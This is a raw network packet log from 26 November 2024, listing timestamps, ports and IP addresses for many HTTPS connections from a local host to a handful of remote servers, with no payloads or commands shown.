Nov 26, 2024 08:55:03.964718103 CET	49763	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:03.964735031 CET	443	49763	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:03.965100050 CET	49764	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:03.965111971 CET	443	49764	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:03.965363026 CET	49765	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:03.965383053 CET	443	49765	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:03.966558933 CET	49766	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:03.966574907 CET	443	49766	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:03.966626883 CET	49766	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:03.966814041 CET	49766	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:03.966821909 CET	443	49766	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:03.966937065 CET	49767	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:03.966968060 CET	443	49767	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:03.967036009 CET	49767	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:03.967112064 CET	49767	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:03.967120886 CET	443	49767	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:04.059490919 CET	443	49761	20.12.23.50	192.168.2.4
Nov 26, 2024 08:55:04.059519053 CET	443	49761	20.12.23.50	192.168.2.4
Nov 26, 2024 08:55:04.059533119 CET	443	49761	20.12.23.50	192.168.2.4
Nov 26, 2024 08:55:04.059578896 CET	49761	443	192.168.2.4	20.12.23.50
Nov 26, 2024 08:55:04.059611082 CET	443	49761	20.12.23.50	192.168.2.4
Nov 26, 2024 08:55:04.059679031 CET	49761	443	192.168.2.4	20.12.23.50
Nov 26, 2024 08:55:04.098838091 CET	443	49761	20.12.23.50	192.168.2.4
Nov 26, 2024 08:55:04.098881006 CET	443	49761	20.12.23.50	192.168.2.4
Nov 26, 2024 08:55:04.098903894 CET	49761	443	192.168.2.4	20.12.23.50
Nov 26, 2024 08:55:04.098916054 CET	443	49761	20.12.23.50	192.168.2.4
Nov 26, 2024 08:55:04.098933935 CET	443	49761	20.12.23.50	192.168.2.4
Nov 26, 2024 08:55:04.098949909 CET	49761	443	192.168.2.4	20.12.23.50
Nov 26, 2024 08:55:04.098984003 CET	49761	443	192.168.2.4	20.12.23.50
Nov 26, 2024 08:55:04.099102020 CET	49761	443	192.168.2.4	20.12.23.50
Nov 26, 2024 08:55:04.099121094 CET	443	49761	20.12.23.50	192.168.2.4
Nov 26, 2024 08:55:04.099128962 CET	49761	443	192.168.2.4	20.12.23.50
Nov 26, 2024 08:55:04.099133968 CET	443	49761	20.12.23.50	192.168.2.4
Nov 26, 2024 08:55:05.682305098 CET	443	49763	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:05.683020115 CET	49763	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:05.683048964 CET	443	49763	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:05.683480978 CET	49763	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:05.683485985 CET	443	49763	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:05.749279976 CET	443	49764	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:05.749361992 CET	443	49766	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:05.749381065 CET	443	49765	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:05.750082970 CET	443	49767	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:05.750332117 CET	49764	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:05.750344992 CET	443	49764	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:05.750775099 CET	49764	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:05.750781059 CET	443	49764	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:05.751044035 CET	49767	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:05.751089096 CET	443	49767	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:05.751490116 CET	49767	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:05.751501083 CET	443	49767	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:05.751904011 CET	49766	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:05.751918077 CET	443	49766	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:05.752274036 CET	49766	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:05.752280951 CET	443	49766	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:05.752543926 CET	49765	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:05.752563953 CET	443	49765	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:05.752886057 CET	49765	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:05.752892971 CET	443	49765	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:06.118535995 CET	443	49763	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:06.118608952 CET	443	49763	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:06.118724108 CET	49763	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:06.118918896 CET	49763	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:06.118942022 CET	443	49763	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:06.118952036 CET	49763	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:06.118957996 CET	443	49763	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:06.121556997 CET	49769	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:06.121601105 CET	443	49769	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:06.121669054 CET	49769	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:06.121805906 CET	49769	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:06.121820927 CET	443	49769	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:06.193253994 CET	443	49766	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:06.193331957 CET	443	49766	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:06.193548918 CET	49766	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:06.193634987 CET	49766	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:06.193634987 CET	49766	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:06.193641901 CET	443	49766	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:06.193649054 CET	443	49766	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:06.196681023 CET	49770	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:06.196722984 CET	443	49770	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:06.196783066 CET	49770	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:06.197045088 CET	49770	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:06.197060108 CET	443	49770	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:06.198139906 CET	443	49764	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:06.198159933 CET	443	49764	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:06.198223114 CET	49764	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:06.198232889 CET	443	49764	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:06.198455095 CET	443	49765	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:06.198472977 CET	443	49765	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:06.198524952 CET	49764	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:06.198549032 CET	49765	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:06.198582888 CET	443	49765	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:06.198621988 CET	49765	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:06.198870897 CET	49765	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:06.198879957 CET	443	49765	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:06.198908091 CET	49765	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:06.198980093 CET	49764	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:06.198991060 CET	443	49764	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:06.199007034 CET	49764	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:06.199017048 CET	443	49765	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:06.199043989 CET	443	49765	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:06.199084044 CET	49765	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:06.199131966 CET	443	49764	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:06.199161053 CET	443	49764	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:06.199317932 CET	443	49767	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:06.199340105 CET	443	49767	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:06.199374914 CET	49764	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:06.199383020 CET	49767	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:06.199394941 CET	443	49767	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:06.199893951 CET	443	49767	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:06.199942112 CET	49767	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:06.200370073 CET	49767	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:06.200390100 CET	443	49767	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:06.200402975 CET	49767	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:06.200409889 CET	443	49767	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:06.202760935 CET	49771	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:06.202788115 CET	443	49771	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:06.202951908 CET	49771	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:06.204113960 CET	49772	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:06.204179049 CET	443	49772	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:06.204253912 CET	49772	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:06.204361916 CET	49771	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:06.204375982 CET	443	49771	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:06.204710007 CET	49772	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:06.204739094 CET	443	49772	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:06.205305099 CET	49773	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:06.205338955 CET	443	49773	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:06.205390930 CET	49773	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:06.205485106 CET	49773	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:06.205499887 CET	443	49773	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:08.074589014 CET	443	49772	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:08.092154026 CET	443	49769	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:08.094733953 CET	443	49770	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:08.094835997 CET	443	49771	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:08.098923922 CET	49771	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:08.098938942 CET	443	49771	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:08.114439011 CET	443	49773	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:08.115689039 CET	49771	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:08.115694046 CET	443	49771	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:08.115695953 CET	49772	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:08.115737915 CET	443	49772	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:08.150460958 CET	49772	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:08.150474072 CET	443	49772	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:08.157449961 CET	49773	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:08.157449961 CET	49773	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:08.157464027 CET	443	49773	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:08.157470942 CET	443	49773	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:08.215992928 CET	49769	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:08.215992928 CET	49769	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:08.216010094 CET	443	49769	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:08.216017008 CET	443	49769	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:08.217103004 CET	49770	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:08.217139006 CET	443	49770	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:08.218930006 CET	49770	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:08.218946934 CET	443	49770	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:08.510448933 CET	443	49772	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:08.510519028 CET	443	49772	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:08.510989904 CET	49772	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:08.510989904 CET	49772	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:08.511091948 CET	49772	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:08.511112928 CET	443	49772	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:08.513549089 CET	49776	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:08.513588905 CET	443	49776	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:08.515090942 CET	49776	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:08.515155077 CET	49776	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:08.515162945 CET	443	49776	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:08.539154053 CET	443	49771	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:08.539213896 CET	443	49771	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:08.540554047 CET	443	49769	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:08.540612936 CET	443	49769	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:08.540638924 CET	49771	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:08.540721893 CET	49769	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:08.540747881 CET	49769	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:08.540747881 CET	49769	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:08.540747881 CET	49771	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:08.540760994 CET	443	49769	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:08.540772915 CET	443	49769	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:08.540779114 CET	443	49771	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:08.540786982 CET	49771	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:08.540791035 CET	443	49771	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:08.543620110 CET	443	49770	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:08.543689966 CET	443	49770	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:08.543857098 CET	49770	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:08.543857098 CET	49770	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:08.544203043 CET	49770	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:08.544203043 CET	49777	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:08.544224977 CET	443	49770	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:08.544241905 CET	443	49777	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:08.544481039 CET	49778	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:08.544485092 CET	49777	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:08.544496059 CET	443	49778	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:08.544596910 CET	49778	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:08.544765949 CET	49778	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:08.544770956 CET	49777	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:08.544775963 CET	443	49778	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:08.544780016 CET	443	49777	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:08.545886040 CET	49779	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:08.545892954 CET	443	49779	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:08.545958996 CET	49779	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:08.546108007 CET	49779	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:08.546117067 CET	443	49779	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:08.567434072 CET	443	49773	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:08.567496061 CET	443	49773	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:08.570997000 CET	49773	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:08.570997000 CET	49773	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:08.571218967 CET	49773	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:08.571230888 CET	443	49773	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:08.572918892 CET	49780	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:08.572940111 CET	443	49780	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:08.573088884 CET	49780	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:08.573246002 CET	49780	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:08.573255062 CET	443	49780	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:10.294991016 CET	443	49776	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:10.295557022 CET	49776	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:10.295572996 CET	443	49776	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:10.295993090 CET	49776	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:10.295996904 CET	443	49776	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:10.328339100 CET	443	49779	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:10.328351974 CET	443	49778	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:10.331867933 CET	443	49777	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:10.342359066 CET	49779	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:10.342374086 CET	443	49779	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:10.342432976 CET	49778	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:10.342443943 CET	443	49778	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:10.342881918 CET	49778	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:10.342885971 CET	443	49778	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:10.342940092 CET	49779	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:10.342946053 CET	443	49779	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:10.343169928 CET	49777	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:10.343183994 CET	443	49777	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:10.343516111 CET	49777	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:10.343522072 CET	443	49777	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:10.356694937 CET	443	49780	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:10.363807917 CET	49780	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:10.363825083 CET	443	49780	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:10.366202116 CET	49780	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:10.366211891 CET	443	49780	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:10.745208979 CET	443	49776	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:10.745264053 CET	443	49776	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:10.745371103 CET	49776	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:10.772754908 CET	443	49778	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:10.772828102 CET	443	49778	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:10.772941113 CET	49778	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:10.773334026 CET	443	49779	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:10.773406029 CET	443	49779	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:10.773458004 CET	49779	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:10.775134087 CET	443	49777	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:10.775257111 CET	443	49777	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:10.777957916 CET	49777	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:10.801667929 CET	443	49780	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:10.801743031 CET	443	49780	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:10.801814079 CET	49780	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:10.830260038 CET	49777	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:10.830296040 CET	443	49777	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:10.830311060 CET	49777	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:10.830318928 CET	443	49777	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:10.836436987 CET	49780	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:10.836461067 CET	443	49780	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:10.836472988 CET	49780	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:10.836477995 CET	443	49780	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:10.841214895 CET	49776	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:10.841229916 CET	443	49776	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:10.841262102 CET	49776	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:10.841265917 CET	443	49776	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:10.842958927 CET	49778	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:10.842963934 CET	443	49778	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:10.847040892 CET	49779	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:10.847059011 CET	443	49779	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:10.847073078 CET	49779	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:10.847078085 CET	443	49779	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:10.891801119 CET	49781	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:10.891846895 CET	443	49781	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:10.891905069 CET	49781	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:10.893285036 CET	49781	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:10.893300056 CET	443	49781	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:10.895055056 CET	49782	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:10.895087004 CET	443	49782	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:10.895139933 CET	49782	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:10.895488024 CET	49782	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:10.895498991 CET	443	49782	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:10.896440983 CET	49783	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:10.896461964 CET	443	49783	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:10.896518946 CET	49783	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:10.897557974 CET	49784	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:10.897595882 CET	443	49784	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:10.897648096 CET	49784	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:10.898327112 CET	49785	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:10.898351908 CET	443	49785	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:10.898406029 CET	49785	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:10.898483992 CET	49783	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:10.898507118 CET	443	49783	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:10.898667097 CET	49784	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:10.898680925 CET	443	49784	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:10.898749113 CET	49785	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:10.898756027 CET	443	49785	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:11.228944063 CET	49787	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:11.228988886 CET	443	49787	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:11.229039907 CET	49787	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:11.230060101 CET	49787	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:11.230071068 CET	443	49787	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:11.388551950 CET	49788	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:11.388586998 CET	443	49788	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:11.388639927 CET	49788	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:11.388838053 CET	49788	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:11.388845921 CET	443	49788	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:11.572130919 CET	49724	80	192.168.2.4	2.20.68.210
Nov 26, 2024 08:55:11.693109035 CET	80	49724	2.20.68.210	192.168.2.4
Nov 26, 2024 08:55:11.693558931 CET	49724	80	192.168.2.4	2.20.68.210
Nov 26, 2024 08:55:12.608846903 CET	443	49781	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:12.609683990 CET	49781	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:12.609710932 CET	443	49781	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:12.610126972 CET	49781	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:12.610131979 CET	443	49781	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:12.676330090 CET	443	49782	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:12.678700924 CET	49782	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:12.678735971 CET	443	49782	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:12.679181099 CET	49782	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:12.679187059 CET	443	49782	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:12.743509054 CET	443	49783	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:12.747395992 CET	443	49785	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:12.747487068 CET	443	49784	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:12.776149988 CET	49783	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:12.776171923 CET	443	49783	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:12.776639938 CET	49783	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:12.776647091 CET	443	49783	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:12.776937008 CET	49785	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:12.776967049 CET	443	49785	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:12.777405977 CET	49785	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:12.777410984 CET	443	49785	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:12.777767897 CET	49784	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:12.777812958 CET	443	49784	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:12.778295994 CET	49784	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:12.778301001 CET	443	49784	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:12.924261093 CET	443	49787	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:12.924506903 CET	49787	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:12.924530983 CET	443	49787	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:12.924853086 CET	443	49787	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:12.925201893 CET	49787	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:12.925260067 CET	443	49787	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:12.925565958 CET	49787	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:12.971345901 CET	443	49787	172.217.19.174	192.168.2.4
